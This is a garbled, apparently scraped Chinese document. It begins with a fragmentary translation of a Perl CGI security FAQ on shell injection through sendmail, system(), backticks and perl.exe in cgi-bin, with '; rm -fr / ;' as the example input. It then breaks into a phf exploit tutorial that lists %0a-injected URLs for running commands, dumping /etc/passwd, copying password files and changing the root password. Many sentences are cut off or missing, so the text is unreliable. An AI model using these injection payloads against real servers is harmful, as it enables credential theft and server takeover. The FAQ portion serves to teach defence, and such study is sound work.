Professional Documents
Culture Documents
该 怎 麽 做 ? 有 没 有 范 例 ★
其 实 做 这 个 很 容 易 。 您 的 CGI script 必 须 能 做 到 这 两 件 事 :
multipartMIME 资 料 ) 。
写 过 去 。
我 们 就 假 设 您 用 的 是 CGI::* 模 组 。 您 可 用 以 下 的 方 法 去 叫
sendmail :
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail
有 一 个 该 注 意 的 地 方 是 ``Reply-To:'' 的 信头 。由 於 server 是 以
``nobody'' 这 个使用者的身份来跑,信头的地方可能会被搞坏(尤
其 是 当
了 。
网 路 上 有 许 多 的 mail 渠 道 (gateway)* 是 以 底 下 这 种 方 法 来 送
mail :
+-- 可 能 会 出 问 题 的 漏 洞 ! ! !
(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输
入
了 以 下 的 资 料 :
; rm -fr / ;
那 麽 您 的 麻 烦 可 大 了 * 。
险 的 符 号 是 ``&'' 。
有 备 份 的 档 案 , 是 真 的 要 跟 它 们 永 别 了 。
不 一 定 在 /etc 底 下 或 叫 这 个 名 字 ) 。
2. 该 特 别 留 意 哪 些 安 全 事 项 ?
洞 :
system("/usr/ucb/finger $form_user");
话虽如此,在上面的第二种写法中,系统安全可藉着改变参数传送
的 方 式 而
为 序
列 方 式 传 送 。
system("/usr/ucb/finger", $form_user);
3. 为 什 麽 大 家 都 说
http://bigidiot.abuse-me.com/perl.exe?foo.pl
这 样 很 危 险 ? 会 有 多 糟 ?
极度危险! 想想看如果我这麽做会发生什麽事:
http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
现 在 您 同 意 了 吧 ? 避 免 这 个 恶 梦 发 生 的 方 法 :
录 里 去 。
script 。
叫 ``simple.bat'' :
@echo off
c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl
现 在 , 您 可 以 做 :
4. 要 如 何 在 程 式 中 安 全 地 使 用 逆 向 撇 号
( backticks , "`" , 位 於 键 盘 左 上 角 ) ? 这 麽
做 :
是 不 是 真 的 不 安 全 ?
什 麽
後 果 :
; rm -fr / ;
要达到相同的效果,一 个 比 较 安 全 的 做 法 是 * :
if (open GREP, "-|") {
@ans = <GREP>;
} else {
close GREP;
5. /$user_variable/ 这 个 句 法 是 不 是 Perl
5 中 的 一 个 安 全 漏 洞 ?
去 评估这个叙述,那麽,它会变成一个安全死角。例如这种做法可
能 很 危
险 :
x 权 限 ) 程 序 , 那 么 你 就
你 读 取 系 统 上 的 文 件 , 如
/etc/passwd 等,并保存在本地机上。以下是我们所需要做的。如果
码 。
http://afp.org/cgi-bin/phf/?Qalias=x%0aid
id 是一个命令,它要求服务器返回用户的 id。有时我们需要给出全
路 径 , 比 如 : http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id
注意%0a 后面是命令行内容。如果你想输入一个空格符,就要用%20
代 替 , 以 下 是 经 常
要 用 到 的 几 个 命 令 行 : ( 以 %0a 开 始 )
显 示 passwd 密 码 档 :
%0a/bin/cat%20/etc/passwd
获 取 /etc 目 录 下 所 有 以 pass 开 始 的 详 细 文 件 列 表 :
%0als%20-al%20/etc/pass*
文 件 :
%0acp%20/etc/passwd%20/etc/passwd.my
更 改 root 用 户 密 码 ( 服 务 器 往 往 会 允 许 你 这 样 做 ;-) ) :
%0apasswd%20root